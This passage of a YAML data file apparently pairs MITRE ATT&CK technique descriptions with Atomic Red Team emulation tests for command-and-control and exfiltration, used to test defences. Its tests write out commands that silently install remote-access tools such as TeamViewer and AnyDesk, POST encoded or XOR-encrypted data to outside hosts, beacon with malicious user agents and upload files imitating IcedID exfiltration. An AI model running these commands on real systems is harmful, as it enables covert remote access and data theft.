      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_contributors:
      - Brian Prange
      - Heather Linn
      - Walker Johnson
      x_mitre_version: '3.1'
    atomic_tests: []
  T1219:
    technique:
      id: attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Remote Access Software
      description: |-
        An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

        Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

        Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)
      external_references:
      - source_name: mitre-attack
        external_id: T1219
        url: https://attack.mitre.org/techniques/T1219
      - url: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf
        description: Wueest, C., Anand, H. (2017, July). Living off the land and fileless
          attack techniques. Retrieved April 10, 2018.
        source_name: Symantec Living off the Land
      - url: https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
        description: CrowdStrike Intelligence. (2016). 2015 Global Threat Report.
          Retrieved April 11, 2018.
        source_name: CrowdStrike 2015 Global Threat Report
      - url: https://blog.crysys.hu/2013/03/teamspy/
        description: CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’
          tolko s razreshenija S-a. Retrieved April 11, 2018.
        source_name: CrySyS Blog TeamSpy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-06-20T20:42:37.320Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_permissions_required:
      - User
      x_mitre_network_requirements: true
      x_mitre_detection: |-
        Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.

        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.

        [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_contributors:
      - Matt Kelly, @breakersall
      x_mitre_version: '2.0'
      identifier: T1219
    atomic_tests:
    - name: TeamViewer Files Detected Test on Windows
      auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0
      description: 'An adversary may attempt to trick the user into downloading teamviewer
        and using this to maintain access to the machine. Download of TeamViewer installer
        will be at the destination location when sucessfully executed.

'
      supported_platforms:
      - windows
      executor:
        command: "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe
          https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 =
          \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process
          -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'\n"
        cleanup_command: |-
          $file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
          if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
          $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
          Remove-Item $file1 -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: AnyDesk Files Detected Test on Windows
      auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330
      description: 'An adversary may attempt to trick the user into downloading AnyDesk
        and use to establish C2. Download of AnyDesk installer will be at the destination
        location and ran when sucessfully executed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
          $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
          Start-Process $file1 /S;
        cleanup_command: |-
          $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe.exe"
          Remove-Item $file1 -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: LogMeIn Files Detected Test on Windows
      auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1
      description: 'An adversary may attempt to trick the user into downloading LogMeIn
        and use to establish C2. Download of LogMeIn installer will be at the destination
        location and ran when sucessfully executed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
          $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
          Start-Process -Wait $file1 /quiet;
          Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
        cleanup_command: "get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
          \n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nRemove-Item
          $file1 -ErrorAction Ignore"
        name: powershell
        elevation_required: true
    - name: GoToAssist Files Detected Test on Windows
      auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578
      description: 'An adversary may attempt to trick the user into downloading GoToAssist
        and use to establish C2. Download of GoToAssist installer will be at the destination
        location and ran when sucessfully executed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
          $file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
          Start-Process $file1 /S;
        cleanup_command: try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}
        name: powershell
        elevation_required: true
    - name: ScreenConnect Application Download and Install on Windows
      auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0
      description: |
        An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
        Msiexec will be used to quietly insall ScreenConnect.
      supported_platforms:
      - windows
      executor:
        command: |
          $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
          Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
          msiexec /i $installer /qn
        cleanup_command: |
          $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
          msiexec /x $installer /qn
        name: powershell
        elevation_required: true
  T1132.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1132.001
        url: https://attack.mitre.org/techniques/T1132/001
      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Binary-to-text Encoding
      - url: https://en.wikipedia.org/wiki/Character_encoding
        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Character Encoding
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Standard Encoding
      description: 'Adversaries may encode data with a standard data encoding system
        to make the content of command and control traffic more difficult to detect.
        Command and control (C2) information can be encoded using a standard data
        encoding system that adheres to existing protocol specifications. Common data
        encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation:
        Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
        Some data encoding systems may also result in data compression, such as gzip.'
      id: attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-14T23:36:52.095Z'
      created: '2020-03-14T23:36:52.095Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1132.001
    atomic_tests:
    - name: Base64 Encoded data.
      auto_generated_guid: 1164f70f-9a88-4dff-b9ff-dc70e7bf0c25
      description: 'Utilizing a common technique for posting base64 encoded data.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: Url
          default: redcanary.com
        base64_data:
          description: Encoded data to post using fake Social Security number 111-11-1111.
          type: String
          default: MTExLTExLTExMTE=
      executor:
        command: |
          echo -n 111-11-1111 | base64
          curl -XPOST #{base64_data}.#{destination_url}
        name: sh
    - name: XOR Encoded data.
      auto_generated_guid: c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08
      description: |
        XOR encodes the data with a XOR key.
        Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
      supported_platforms:
      - windows
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: Url
          default: example.com
        plaintext:
          description: Plain text mimicking victim data sent to C2 server.
          type: String
          default: Path\n----\nC:\Users\victim
        key:
          description: XOR key used for encoding the plaintext.
          type: String
          default: abcdefghijklmnopqrstuvwxyz123456
      executor:
        command: |
          $plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
          $key = "#{key}"
          $cyphertext =  @();
          for ($i = 0; $i -lt $plaintext.Count; $i++) {
           $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
          }
          $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
          [System.Net.ServicePointManager]::Expect100Continue = $false
          Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
        name: powershell
  T1001.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1001.002
        url: https://attack.mitre.org/techniques/T1001/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Steganography
      description: 'Adversaries may use steganographic techniques to hide command
        and control traffic to make detection efforts more difficult. Steganographic
        techniques can be used to hide data in digital messages that are transferred
        between systems. This hidden information can be used for command and control
        of compromised systems. In some cases, the passing of files embedded using
        steganography, such as image or document files, can be used for command and
        control. '
      id: attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-15T00:37:58.963Z'
      created: '2020-03-15T00:37:58.963Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1573.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1573.001
        url: https://attack.mitre.org/techniques/T1573/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Symmetric Cryptography
      description: Adversaries may employ a known symmetric encryption algorithm to
        conceal command and control traffic rather than relying on any inherent protections
        provided by a communication protocol. Symmetric encryption algorithms use
        the same key for plaintext encryption and ciphertext decryption. Common symmetric
        encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
      id: attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-26T21:25:37.306Z'
      created: '2020-03-16T15:45:17.032Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.

        In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
    atomic_tests: []
  T1205:
    technique:
      created: '2018-04-18T17:59:24.739Z'
      modified: '2021-02-17T14:23:49.495Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1205
        url: https://attack.mitre.org/techniques/T1205
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: FireEye - Synful Knock
        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - source_name: Bleeping Computer - Ryuk WoL
        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
          To Encrypt Offline Devices. Retrieved February 11, 2021.
      - source_name: AMD Magic Packet
        url: https://www.amd.com/system/files/TechDocs/20213.pdf
        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
          Retrieved February 17, 2021.
      - source_name: GitLab WakeOnLAN
        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
          17, 2021.
      description: |-
        Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

        Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

        On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

        Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)
      name: Traffic Signaling
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
      revoked: false
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.2'
      x_mitre_defense_bypassed:
      - Defensive network service scanning
      x_mitre_detection: |-
        Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

        The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_contributors:
      - Josh Day, Gigamon
    atomic_tests: []
  T1071.001:
    technique:
      created: '2020-03-15T16:13:46.151Z'
      modified: '2020-03-26T20:15:35.821Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1071.001
        url: https://attack.mitre.org/techniques/T1071/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Protocols
      description: "Adversaries may communicate using application layer protocols
        associated with web traffic to avoid detection/network filtering by blending
        in with existing traffic. Commands to the remote system, and often the results
        of those commands, will be embedded within the protocol traffic between the
        client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic
        may be very common in environments. HTTP/S packets have many fields and headers
        in which data can be concealed. An adversary may abuse these protocols to
        communicate with systems under their control within a victim network while
        also mimicking normal, expected traffic. "
      id: attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol standards regarding
        syntax, structure, or any other variable adversaries could leverage to conceal
        data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from
        known-bad or suspicious domains. "
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1071.001
    atomic_tests:
    - name: Malicious User Agents - Powershell
      auto_generated_guid: 81c13829-f6c9-45b8-85a6-053366d55297
      description: "This test simulates an infected host beaconing to command and
        control. Upon execution, no output will be displayed. \nUse an application
        such as Wireshark to record the session and observe user agent strings and
        responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n"
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Default domain to simulate against
          type: String
          default: www.google.com
      executor:
        command: |
          Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
          Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
          Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
          Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
        name: powershell
    - name: Malicious User Agents - CMD
      auto_generated_guid: dc3488b0-08c7-4fea-b585-905c83b48180
      description: "This test simulates an infected host beaconing to command and
        control. Upon execution, no out put will be displayed. \nUse an application
        such as Wireshark to record the session and observe user agent strings and
        responses.\n\nInspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat\n"
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Default domain to simulate against
          type: String
          default: www.google.com
        curl_path:
          description: path to curl.exe
          type: Path
          default: C:\Windows\System32\Curl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: "Curl must be installed on system \n"
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://curl.haxx.se/windows/dl-7.71.1/curl-7.71.1-win32-mingw.zip" -Outfile $env:temp\curl.zip
          Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
          Copy-Item $env:temp\curl\curl-7.71.1-win32-mingw\bin\curl.exe #{curl_path}
          Remove-Item $env:temp\curl
          Remove-Item $env:temp\curl.zip
      executor:
        command: |
          #{curl_path} -s -A "HttpBrowser/1.0" -m3 #{domain} >nul 2>&1
          #{curl_path} -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} >nul 2>&1
          #{curl_path} -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} >nul 2>&1
          #{curl_path} -s -A "*<|>*" -m3 #{domain} >nul 2>&1
        name: command_prompt
    - name: Malicious User Agents - Nix
      auto_generated_guid: 2d7c471a-e887-4b78-b0dc-b0df1f2e0658
      description: |
        This test simulates an infected host beaconing to command and control.
        Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
      supported_platforms:
      - linux
      - macos
      input_arguments:
        domain:
          description: Default domain to simulate against
          type: String
          default: www.google.com
      executor:
        command: |
          curl -s -A "HttpBrowser/1.0" -m3 #{domain}
          curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
          curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
          curl -s -A "*<|>*" -m3 #{domain}
        name: sh
  T1102:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1102
        url: https://attack.mitre.org/techniques/T1102
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      description: |-
        Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

        Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
      name: Web Service
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-26T23:26:10.297Z'
      created: '2017-05-31T21:31:13.915Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Anastasios Pingios
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. Analyze network data
        for uncommon data flows (e.g., a client sending significantly more data than
        it receives from a server). User behavior monitoring may help to detect abnormal
        patterns of activity.(Citation: University of Birmingham C2)'
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
exfiltration:
  T1020:
    technique:
      id: attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Automated Exfiltration
      description: "Adversaries may exfiltrate data, such as sensitive documents,
        through the use of automated processing after being gathered during Collection.
        \n\nWhen automated exfiltration is used, other exfiltration techniques likely
        apply as well to transfer the information out of the network, such as [Exfiltration
        Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration
        Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)."
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1020
        external_id: T1020
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      modified: '2021-04-22T20:21:10.590Z'
      created: '2017-05-31T21:30:29.458Z'
      x_mitre_contributors:
      - ExtraHop
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_network_requirements: true
      x_mitre_detection: Monitor process file access patterns and network behavior.
        Unrecognized processes or scripts that appear to be traversing file systems
        and sending network traffic may be suspicious.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Access'
      x_mitre_version: '1.2'
      identifier: T1020
    atomic_tests:
    - name: IcedID Botnet HTTP PUT
      auto_generated_guid: 9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0
      description: |-
        Creates a text file
        Tries to upload to a server via HTTP PUT method with ContentType Header
        Deletes a created file
      supported_platforms:
      - windows
      input_arguments:
        file:
          description: Exfiltration File
          type: String
          default: C:\temp\T1020_exfilFile.txt
        domain:
          description: Destination Domain
          type: Url
          default: https://google.com
      executor:
        command: |-
          $fileName = "#{file}"
          $url = "#{domain}"
          $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
          $contentType = "application/octet-stream"
          try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
        cleanup_command: |-
          $fileName = "#{file}"
          Remove-Item -Path $fileName -ErrorAction Ignore
        name: powershell
  T1030:
    technique:
      id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Transfer Size Limits
